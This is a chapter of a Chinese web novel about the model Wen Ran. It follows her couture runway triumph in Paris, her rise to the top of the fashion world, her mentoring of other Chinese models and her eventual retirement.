奥古斯特笑呵呵宣布了明天的安排,接着转身走人。【你现在阅读的是 】 【全文完结】 第145章 第145章九零国际超…… 温苒醉眼朦胧地靠在霍骁北怀里,小声嘟囔:“以后再也不要当模特了……” 霍骁北低头亲了亲她额角,“好,不当模特。” 温苒皱了皱眉,“也不要做演员。” 做演员的经历比当模特顺遂很多,但温苒不喜欢站在聚光灯下被那么双眼睛注视。 温苒喜欢当作家,喜欢做医生,喜欢潜心研究,不然当导演也行,经商创业她也感兴趣。 她喜欢创造,喜欢主动,喜欢自己掌握自己的人生,而不是站在那里被动等待挑选。 或许她未来可以走到顶端,不再无足轻重、不再不被人放在眼里、不再随时都可能会被抛弃,但依旧更改不了她依旧是被挑选的那个。 温苒的作品可以被大众任意品评挑选,但她永远不喜欢自己这个活生生的人被当做一件商品。 第二天的主要活动都在户外。 庄园虽然在郊区乡下,可供游玩观赏的地方实在很多。 昨晚宴会到凌晨才散去,是以大多数客人快到中午才起床下楼。 温苒酒量向来不大好,宿醉第二天的不适反应还很明显,难受得只想在床上躺到天荒地老,完全不想动弹一下。 可一想到她还约了安娜下午去打网球,晚上去划船游湖,她就没办法再心安理得躺下去了。 安娜的母亲是个德国人,听说她最不喜欢计划之外的突发情况。 好不容易结交的人脉当然不能放弃,趁午饭这段时间,温苒拼命做自己的思想工作。 霍骁北下楼借用厨房,让陈晨转告奥古斯特和安娜,或许稍等片刻后可以尝尝华国美食。 两人都十分感兴趣,包括当时在场的其他几位客人。 其中奥古斯特尤为期待,揪着陈晨给他介绍华国都有什么美食。 提起这个,留学后深受西方饮食迫害的陈晨简直一肚子话要说。 他一个从来没下过厨的人,被迫害到现在都能做红烧肉了! 厨房里,霍骁北将红烧肉加入菜单。 这边庄园养殖的猪没有煽过,吃起来一股腥臊味,需要下猛料大料才行。 庄园来了奥古斯特的客人,今天一早管家就让杀了牛和羊,牛羊肉和牛羊奶都是最新鲜的。 另外还有从海边空运来的鱼虾。 庄园里还有个果园,水果也非常新鲜。 霍骁北挑挑拣拣订下菜单,在厨房工作人员的帮助下,花两个小时准备了一桌丰盛的华国美食。 菜一一摆上桌,陈晨热情地给大家介绍每一道的食材和烹饪方法。 客人们边听边品尝,入口的瞬间脸上绽放出惊艳的表情,接下来一整顿饭都在称赞中度过。 霍骁北没去前面饭厅,而是另煮了碗面端给温苒。 温苒洗漱后,吃完面又躺了会儿,陈晨才上楼来。 “小苒,北哥,奥古斯特说带大家去参观玫瑰园。” “那个安娜主编,她说她不去,让管家布置了二楼阳台,她还想跟你聊天。” “她还说,今天就算了,明天跟你打网球。” 温苒蔫蔫地爬起来,“那你们一起去玫瑰园吧,我去找安娜。” 霍骁北对陈晨道:“我不去你去吧,问问是什么品种的玫瑰,能吃的话带些回来做甜品。” 陈晨想起刚才那顿饭,明明都吃撑了还是下意识分泌口水。 他北哥的厨艺要是开个店,怕是能从深海市排到巴黎! 唉! 可惜,除非沾小苒的光,否则一般情况是吃不到的。 陈晨保证:“放心吧,能拿的东西我都给你们俩拿着!” 随着温苒融入庄园地社交圈里,奥古斯特的客人对她的男友霍骁北、朋友陈晨的态度都变得友好。 今天中午这顿华国美食,让这份友好又往上蹿升一大截。 一行人说说笑笑坐上游览车,在主人奥古斯特的带领下,结伴在庄园里游玩。 温苒和霍骁北下去二楼。 霍骁北捧了本书在客厅里阅读,温苒和安娜在阳台上喝茶聊天。 等奥古斯特和陈晨等人回到庄园别墅,一起吃过对比午餐不那么美味的晚餐,又一起登船游湖。 之后几天,陆续有客人离开,也陆续有客人加入。 大约一周后,奥古斯特这个主人也要离开。 除了晚来玩得不尽兴的几位客人,其他客人都一起告别这座美丽的庄园。 回到巴黎在酒店歇了两天,然后温苒和霍骁北带陈晨在城里吃喝玩乐,采买了一堆陈母要求的东西。 最后,陈晨大包小包登上飞机,回深海陪父母过年。 转眼进入一月。 各大品牌的高定秀陆续放出风声,确定了最终举办的时间和地点。 奥古斯特告诉温苒,‘月’系列最核心的礼服会交给她来表现。 A.F今年的高定秀会发布三个系列:日、月和星辰。 这也是发布秀的先后顺序。 虽然排在第二位,但三个系列中‘月’系列是主打系列,也是奥古斯特倾注心血最多的系列。 除此之外,星辰系列作为最后一个发布的系列,闭秀款礼服也会交给温苒表现。 听到这样的安排,温苒才终于有了自己是奥古斯特缪斯女神的实感。 正式复工后,温苒连续几天去奥古斯特的工作室试衣服,等奥古斯特修改和敲定好最后的细节,也就到了彩排的时间。 这次的秀导和上次是同一位。 同场走秀的模特和上一次重合度也很高。 不同的是,莉亚不在,好久不见的阿莱西亚却出现在彩排中。 阿莱西亚见到温苒热情地过来拥抱,“阿米丽说你这段时间都在巴黎,好可惜,万圣节ME的宴会很精彩,设计师一直想见你一面,邀请你参加今年的春季时装周。” 这边彩排结束,阿莱西亚和温苒约了晚饭,便马不停蹄去下一场。 阿莱西亚是如今时尚界冉冉升起备受瞩目的新星。 她自己争气,公司也给力,出道才几个月就有了品牌代言,今年意大利MQ的开年封也被她收入囊中。 如今权威模特网站中,阿莱西亚的综合排名已经进入前五十。 越往前排名提升越困难,这个排名综合了年收入、代言、时装周走秀次数、杂志、广告、活跃度等维度,不同品牌不同支线有不同的权重。 而温苒,至今零代言、零杂志、一次时装周走秀,排名千名开外,还不如 莉亚高。 其实温苒都怀疑,网站到底有没有把她加入其中。 发布秀前一周,霍骁北开学。 他为了亲眼看到温苒的走秀现场,特意向学院请假,还去找奥古斯特要了张工作牌,以记者名义站在了T台最前方。 曾经的著名导演拿上了摄影机,将镜头对准了T台上的温苒,准备记录下这珍贵的画面妥善保存起来。 温苒知道霍骁北在台下,但以为是观众席,完全不知道他混进了媒体团伙中。 A.F今年的高定发布秀以‘日’系列开场,风格奔放热情,色彩鲜艳明亮。 算是奥古斯特做的小小突破,结果很成功,既没有背离他一向典雅高贵的设计理念,又在此基础上做出了新意。 紧接着灯光暗下来,温苒为‘月’系列开场。 ‘月’系列全系列的衣料都采用奥古斯特花费数年研发的新型布料,静时如月光柔和清丽,动时如水中碎月散发着幽微细腻的光芒,丝滑细腻。 温苒随着静谧地音乐缓缓走到台前,如月下女神,清冷典雅。 留下满场震撼,温苒高傲转身退场,观众这时如梦初醒,纷纷鼓掌赞美。 观众席上,安娜询问奥古斯特:“她之后还有几件衣服?什么时候才能出来?” 本来以为‘日’系列就已经很出色了,但安娜看过温苒的表现后,只觉其它都是俗物,只想再让温苒返场。 不! 就算还是那件衣服,温苒穿着在她面前的T台上来回走一千遍都依旧嫌不够! 奥古斯特叹气,“最后一个喽!” 脑海中又因为刚才温苒的表现浮现出许多新灵感,他现在既想提前退场把这些宝贵的灵感记录下来,又因为期待温苒接下来的表现而无法离开。 “唔,对了,我刚才突然有了新的珠宝灵感,预计在春季时装周发布。” “三月份的MQ封面我要了,你要请最好的摄影师,务必把我的缪斯女神拍得美美的!” 安娜诧异极了。 这老头的工作风格说好听点叫严格要求,说直白点叫散漫随意。 A.F的下一季新品上不上全看他满不满意,支线像男装、鞋子、包包和首饰,都是什么时候来了灵感什么时候上,完全不管市场规律。 当然,他之所以这么任性,跟他优渥的出身脱不了干系。 既然是品牌推封,安娜点头答应下来。 她也很期待,温苒今天的表现惊艳观众,来日的杂志能不能惊艳时尚界。 最后一件星辰系列在万众期待中到来。 黑色面纱遮住了温苒半张脸,紫色长裙随着她的台步轻微摆动。 然而,哪怕看不到她的表情,观众也感受到一股扑面而来的压迫。 温苒走到T台最前方,轻轻抬头,面纱下露出一只深邃漆黑的瞳孔,仿佛要把目及之处全部吸进去。 霍骁北的视线穿过镜头,注视着媳妇儿的一举一动。 忽地,身旁传来几下倒吸冷气的声音。 霍骁北余光看去,那两个记者连相机都快拿不稳,浑身在颤抖。 再细一看,这些人脸上的表情时而是因为惊艳而震撼,时而是恐惧害怕? 霍骁北:“……” 前者不能再理解,为什么会害怕? 观众席上,温苒的身影刚刚在T台上消失,整个秀场就响起了如雷贯耳的掌声。 奥古斯特甚至只来得及和安娜说一声,就嗖一下蹿出去,回了临时办公室记录那些喷涌而出的灵感。 安娜闭眼再睁眼,到你上了你撂挑子了?! 最后这一场秀没有设计师出来谢场,虽然很失礼,但观众们没有计较这些。 毕竟这场精彩的发布秀就是对她们最大的诚意。 回到后台,温苒发现对自己很热情地模特们突然又对自己敬而远之了? 温苒就问莉莉原因。 莉莉支支吾吾,“索菲亚,你很美,但你很像女巫……” 温苒摸了摸自己漂亮的脸蛋,反问:“那有没有可能,我这么美的女巫,我的心灵就如同我的美貌一样善良美好呢?” 莉莉:“啊哈!我就说!其实我也是这么想的哈哈……” 温苒静静看着她。 莉莉心虚低头,“好吧,其实是因为你是黑发黑眸,你知道有些传统认为这些特点很高贵,有些则认为是邪恶女巫的后代……” 阿莱西亚不就是因为后者,才被培训班的同期模特孤立吗? 温苒想了想,“我跟你们不一样,我是华国人。” 来自华国的美丽的女巫小姐重新赢得了在场模特们的热情。 奥古斯特的助理通知,今天的晚宴他又不去,还告诉温苒她和霍骁北可以去工作室挑礼服。 奥古斯特的工作室里有一个超大的衣帽间,里面都是他最满意的设计,很多都是未发布的款式。 温苒眨眨眼,这么大方? 奥古斯特的助理也眨眨眼,笑着说道:“奥古斯特向MQ杂志总部的主编买下了三月份的封面,索菲亚,你和你的公司要好好准备,可能会去其他地方拍摄。” 莉莉听到这话,激动地握拳欢呼。 MQ总部的杂志也就是法版MQ,这个成绩跟阿莱西亚的意大利版开年封比也不差什么。 虽然不是含金量最高的九月份十月份,但三月份是春季时装周,同样很受业界关注。 回到酒店,莉莉第一时间向公司汇报。 阿米丽这次没跟阿莱西亚来巴黎,而是在伦敦处理工作。 接到电话,她马上带着公司团队来到巴黎。 今时不同往日,温苒成为第一个登上高定发布秀的华国面孔,也即将成为第一个登上法版MQ的华国面孔。 这也意味着,这难闯的时尚圈彻底向她敞开了大门! 晚宴的第二天霍骁北就飞去美国报道,阿米丽则去频繁拜访奥古斯特。 奥古斯特正在闭关,抽时间才见了她一面。 也就是这一面,让阿米丽为温苒拿下了A.F的代言。 温苒摇身一变,变成了腰缠千万的小富婆。 A.F不愧是超一线品牌,奥古斯特大方起来也不愧是富N代,给温苒开出了一百万欧元一年的代言费,一共签了五年。 而因为公司极其不看好温苒,阿米丽当初也只是想无心插柳柳成荫,所以两者要的分成极少,所以大部分代言费都进了温苒兜里。 回到伦敦的田蜜和温苒通电话,听到这个大好消息,足足愣了快一刻钟,才嗷一声跳起来又吼又叫。 田蜜比自己赚了钱还开心,“苒苒,那个奥古斯特真大方啊,五百万还是欧元!” 温苒戳破她的滤镜,“可他签了五年,他当然清楚,用不了两年我的代言合约一定会超出这个数字。” 但温苒不会计较这点。 奥古斯特给她提供了一飞冲天的机会,固然她自己足够优秀,但奥古斯特的赏识也不可或缺。 知道了这点,田蜜立马转变态度,在电话里跟温苒蛐蛐矮个子老头是个小气抠门鬼。 没两天,温苒就被通知收拾行李去地中海某个小岛拍摄杂志。 出镜的一切相关都出自奥古斯特那间宝库衣帽间。 时尚界最冷酷严苛的MQ主编安娜亲临拍摄现场,足足盯了三天才离开。 一向在公司说一不二的阿米丽,到了安娜面前都显得乖巧许多。 拍完杂志,温苒马不停蹄飞纽约。 以她现在的知名度不需要参加时装周海选,先由莉莉和品牌公司联系,确定时间后直接和设计师见面。 四个时装周前后脚举办,温苒在纽约停留一周后,立马辗转飞伦敦、米兰和巴黎。 落地伦敦那几天,温苒连公寓都没时间回。 除了要敲定时装周品牌和衣服,依靠公司的人脉和关系,温苒还敲定了英版MQ六月份的封面。 在米兰,确定了另一家一线时尚杂志的拍摄。 一直忙到八月份大学开学,温苒才有空回公寓。 只不过刚开学一个月,她就不得不向学院请假参加时装周,开启了连轴转的日程,连期中期末考试都是匆匆来匆匆去,作业也是抽时间完成上交。 虽然最后老师给了温苒的作品极高的赞赏和分数,但还是建议她不要因为工作影响学业。 一晃三年过去,温苒和田蜜拿到了毕业证和学位证。 温苒在模特网站上的排名已经进入前十名。 这还是她因为学业推掉许多合作,并有意减少曝光的结果。 时尚界如今对温苒有多追捧,就连拉斐尔都多次向她发出邀请。 温苒并不想跟这位性格古怪的设计师打交道,以学业为借口拒绝了合作。 不过温苒曾向奥古斯特打听过原因,拉斐尔可从不让白人模特之外的肤色出现在他的大秀上,为什么会突然主动邀请她? 奥古斯特想了想,才回道:“我记得他好像说过一句话。” “他说,他不是不允许其他肤色的模特出现在他的秀场上,他只是对美和艺术严格要求。” “珍珠也不总是漂亮的珍珠,石头中也偶尔出现一两颗值得收藏。” 温苒:“……” 懂了,她就是石头,只不过是块足够漂亮的石头。 奥古斯特说完哈哈大笑,“你拒绝了他对吗?索菲亚做得很对!就该治治他那傲慢的性格,让他也尝尝求而不得的滋味!” 他一脸神神秘秘,“听说,你第一次参加我的秀后,他就有意邀请你合作,但怕你拒绝就一直犹豫了这么多年。” 温苒才不信奥古斯特的鬼话,论傲慢难道奥古斯特就不傲慢吗? 当初突然高调宣布她是他的缪斯女神,险些让阿米丽跟她误会的事情她还没忘呢! 毕业后温苒的时间宽松了许多,应下之前一直邀请的EL杂志九月刊封面,拍完封面辗转四大时装周敲定品牌并试衣。 田蜜决定在伦敦工作几年,积攒积攒经验,回国创办自己品牌的高端线。 她自己面试进伦敦的一家一线高奢品牌,从实习工干起,打算依次在箱包、珠宝、鞋子和服饰等部门都待个遍好偷师。 霍骁北两年前就完成了学业,毕业后和同学在硅谷创办了一家小型科技公司。 一年前陈晨毕业,加入公司一起研发。 一年后,也就是现在,霍骁北只保留了百分之十的股份,其他全部出手,和陈晨计划回国创业。 回国前,霍骁北会来欧洲陪温苒一段时间,过完年才回华 国。 听说能蹭时装周看秀的机会,陈晨屁颠颠就跟来了,完全不顾他北哥想刀人的眼神。 但他总算还有微末的兄弟情,看完最后秀参加了晚宴,他就大包小包回了国。 走之前,他还向霍骁北拍着胸脯保证,“看我的吧,回国我就广发英雄贴办同学会,能拉的都拉来咱们公司!” 郑峰回了老家,近况如何班上同学都不清楚。 朱文喜在外企工作,这么多年了混得一般,幸好一直在技术部工作,专业杠杠的! 焦维新留校当了讲师,现在在校内读博,可以让他介绍学生来公司实习。 公司虽然初创,可并不缺资金,但过日子嘛能省则省。 温苒看着眼馋,当模特哪有对着电脑好玩? 如果她在,她就负责开发游戏,硬件研发她也有心得,电脑手机她都有经验,芯片也行。 刚穿过来时还嫌弃这行早就待过没意思,现在温苒真是悔不当初! 霍骁北看得好笑,“你的品牌你不管了?” 温苒:“……” 她是真不打算管了,她的设计适合做高端线,高端线对版型和剪裁要求很高,除非像奥古斯特那样一件设计盯一个月,否则不敢想象成品会多惨烈。 中端线现在是田蜜负责,她的个人风格多变,因此目前开设了三个支线,每个支线的设计风格和面向人群都不一样。 基础款不需要太多创新,经典即是永恒,这一系列都是赵姨和田叔在把关质量。 温苒现在就是个甩手掌柜,等什么时候从模特这一行退休,再专注于设计也不迟。 也就是这一年开始。 往后几年华国版MQ、华国版EL、华国版WE、华国版AU四大杂志创刊。 其中华国版MQ和华国版EL的创刊封面由温苒来拍摄,另外两个杂志的创刊封面则由国内最早的男女模特分别拍摄。 零三年,国内最大的模特公司举办模特大赛,也是这个大赛的第十届,费尽周折联系了PL公司,想邀请温苒担任这一届模特大赛的评委。 温苒想到了几年前,那时她想入行却四处碰壁,费了番功夫出国,结果刚好看到这个模特大赛。 她其实跟这个比赛挺有缘,就是缘分不怎么深。 就好比现在,她要为两个品牌分别拍摄这一季的香水和珠宝广告,前后花费至少一个月。 除此之外,还有早就定好的慈善晚宴的走秀、一个必须作为A.F代言人出现的红毯、另一个品牌代言人最好出现的开店仪式等等。 温苒不是在工作,就是在工作的路上。 而这期间,刚好是模特大赛举办的时间。 温苒亲自回复对方,因为有工作在身,担任全程评委估计不行,只能挤时间参加一期。 对方也知道温苒工作很忙,能请到一期也很开心。 挂掉电话,温苒意识到,自己应该在国内开个工作室。 不然以后像这种活动邀请,要么联系不到她,要么联系到的时候她未来一段时间的行程早就定好没办法参加。 模特大赛在南方某省举办,每周六晚十点在当地电视台播放,据说关注度很一般。 温苒忙完上个工作,眼睛都没合直飞深海。 霍骁北推了工作陪她去模特大赛。 到了当地电视台,温苒撑着精神录了一个下午。 去后台和模特们交流经验,指导她们拍摄硬照、T台走秀的表情,然后坐到评委席聚精会神看完全程比赛,最后点评投票,然后接受电视台和媒体采访。 第二天,电视台的新闻和娱乐频道就报道了温苒这段采访,当地报纸上也全是温苒相关的新闻,科普她的成就、刊登参赛模特和评委们对温苒的评价等等。 这个热度很一般的模特大赛,在下个周六播放时,因为温苒的到来收视率出现了小小的高峰期。 模特在国内是个非常非常小众的行业,甚至在大多数人眼里还不怎么正经,所以模特大赛的收视率一降再降,连招商都很困难。 与众不同的是,温苒虽然也是模特,而且一直在国外发展,但国内的知名度并不低。 谁让她是第一个,也是目前唯一一个活跃在时装周和欧美时尚界的华国模特? 再次落地巴黎后,温苒见到奥古斯特,直接问道:“十月的时装周,你的秀场上可否出现第二个华国面孔?” 奥古斯特看着她眼下一片乌青,“你回国发现了好苗子?” 温苒打了个哈欠,“算是吧,我回国短暂地当了一期模特大赛的评委。” 国内时尚界刚刚发展起来,模特的生存环境没比温苒当年好多少。 既然如此,先让华国模特频繁出现在时装周上刷刷脸,等来日华国自己的服装品牌发展起来,这些有名气的模特回去走秀就自带关注度,可以变相为自家品牌宣传。 再说了,就算以后还很长远,现在模特出国就业赚的是外国人的钱,不赚白不赚嘛! 温苒有这个想法,但并没有提前告诉大赛的主办方那家模特经纪公司。 两人关系不比从前是单纯的设计师和缪斯,现在已经迈入忘年交的行业,互相视为朋友。 因此奥古斯特答应得爽快,但并没有夸下海口糊弄温苒,“先过来让我看看,合适得话就让她上。” 温苒不清楚他口中的合适于否有什么标准,只是提前打了个预防针:“你不要以我为标准,毕竟,你也知道,我不是自夸,时尚界没有哪个模特能比得上我。” 不论综合实力,还是单拎出来哪一项,温苒都是断层的存在。 外貌、身材比例、气质、表现力、台步、硬照,包括审美,以及诸多只是锦上添花的能力,用奥古斯特的话来说,他的女神几乎无所不能。 非要说哪一点温苒不是那么优秀,大概是她只有178的身高。 奥古斯特小小地失望了一下,“啊?看来是个很普通的模特了……” 温苒:“……” 出乎温苒预料的是,她要求对方推荐来的模特必须说相对流利的英语或法语,对方公司推荐来了一位已经签约米兰经纪公司的模特吴青。 那位模特早几年就来了米兰发展,只是一直不怎么顺利,现在在边打工边面试。 从国内公司那里得知温苒可以帮忙引荐参加A.F的的大秀,吴青连夜飞到巴黎。 温苒看到她的瞬间惊艳了一下。 只看五官和长相,吴青并不出色。 但做模特,出色的外貌也只是锦上添花。 吴青的气质很独特,有一种带着韧性的开朗,笑起来时热情洋溢。 交谈几句,温苒让她先休息 一天养好精神,保持好状态去见奥古斯特。 吴青没有让奥古斯特失望,他对温苒说道:“虽然跟你比有不小的差距,但也还不错,我喜欢她的气质,那件向日葵的橘红色长裙我要交给她。” 温苒嘴角抽了抽,那件的配色很奇怪,奥古斯特试了几个模特都不满意,原本想交给她来表现。 这几年奥古斯特渐渐养成了习惯,别的模特都不合适的就交给温苒,因为温苒一定能交出惊艳四座的答案! 吴青试过衣服后,奥古斯特还算满意,就定下了她。 距离伦敦时装周还有段时间,温苒于是向田蜜所在的品牌推荐了吴青,吴青飞去伦敦顺利拿下机会。 国家一日日发展强大,国内奢侈品消费一年高过一年,华国市场成了高傲品牌们的兵家必争之地,越来越多的华国面孔涌入时装周。 零九年,奥古斯特因为身体原因不得不退出一线,将品牌的主设计师职位交给了他的助理兼徒弟。 他本人则在身体稍好后来了华国,旅居几年获得了许多灵感,并在回到巴黎后以个人名义举办了他最后一场时装发布会。 温苒作为开场模特,一共表现了三件设计,赢得全场喝彩。 这之后,温苒就渐渐隐退,非必要不再出来活动。 温苒被华国时尚界誉为传奇模特,当初单枪匹马闯进欧美时尚界,登顶模特排行榜,不但自身成就耀眼,据说还提携了很多后辈。 数年后,当人们盘点国内时尚界知名人物时,她的名字总是第一时间被提起,并被毫无争议地排在第一位。【你现在阅读的是 】